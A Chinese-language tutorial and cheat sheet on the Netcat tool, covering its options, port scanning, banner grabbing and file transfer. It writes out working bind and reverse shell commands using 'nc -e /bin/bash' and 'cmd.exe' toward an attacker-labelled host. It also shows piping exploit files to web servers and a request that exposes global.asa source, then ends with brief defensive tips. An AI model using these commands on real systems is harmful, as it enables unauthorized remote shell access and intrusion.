Netcat (nc) 被譽為「網路安全界的瑞士刀」,以極小的程式體積提供 TCP/UDP 連線讀寫、連接埠掃描、Banner 抓取、檔案傳輸、反向 Shell、蜜罐模擬等強大功能。本文系統整理 nc 參數、基本用法與進階實戰技巧。
nc [-選項] 主機 埠 [埠範圍] # 連線模式
nc -l -p 埠 [-選項] [主機] [埠] # 監聽模式
| 參數 | 說明 |
|---|---|
-e 程式 | 連線建立後執行指定程式(極高風險,常用於後門) |
-g / -G | 來源路由跳點/指標 |
-h | 顯示說明 |
-i 秒數 | 傳送間隔延遲 |
-l | 監聽模式(伺服器端) |
-n | 直接用 IP,不做 DNS 解析 |
-o 檔案 | 十六進位記錄傳輸資料 |
-p 埠 | 本地埠號 |
-r | 隨機本地/遠端埠 |
-s IP | 指定來源 IP |
-u | UDP 模式(預設 TCP) |
-v / -vv | 詳細/極詳細輸出 |
-w 秒數 | 逾時時間 |
-z | 零 I/O 模式(掃描用,不建立完整連線) |
nc -nvv 192.168.1.100 80
HEAD / HTTP/1.0
# 取得 HTTP 伺服器資訊
# TCP 掃描 1-1000 埠
nc -v -z -w2 192.168.1.100 1-1000
# UDP 掃描
nc -u -v -z -w2 192.168.1.100 1-1000
nc -l -v -p 80 # 監聽 TCP 80,顯示連線資訊
nc -l -p 80 > log.txt # 記錄收到的資料
nc -L -p 80 # 持續監聽(Windows 版 -L 參數)
# 接收端
nc -l -p 5277 > received_file.exe
# 發送端
nc -nv 192.168.1.100 5277 < send_file.exe
# 目標機
nc -l -p 5354 -t -e cmd.exe # Windows
nc -l -p 5354 -e /bin/bash # Linux
# 攻擊機連線
nc -nv 192.168.1.100 5354
# 攻擊機先監聽
nc -l -v -p 5354
# 目標機執行
nc -t -e cmd.exe 192.168.1.200 5354 # Windows
nc -e /bin/bash 192.168.1.200 5354 # Linux
type exploit.txt | nc -nvv 192.168.1.100 80
nc -nvv 192.168.1.100 80 < exploit.txt > result.log
# 建立請求檔 request.txt
GET /global.asa HTTP/1.0
Host: 192.168.1.100
Translate: f
# 發送
type request.txt | nc -nvv 192.168.1.100 80
-e 選項、完整功能。--exec,建議優先使用。nc -e cmd.exe 等惡意用法。nc 進程與網路連線。nc,移除或限制執行權限。nc 功能極強,合法用途包括網路除錯、服務測試、檔案傳輸、自動化腳本。深入掌握其參數與組合技巧,能大幅提升網路故障排除與滲透測試效率。請務必在合法授權範圍內使用。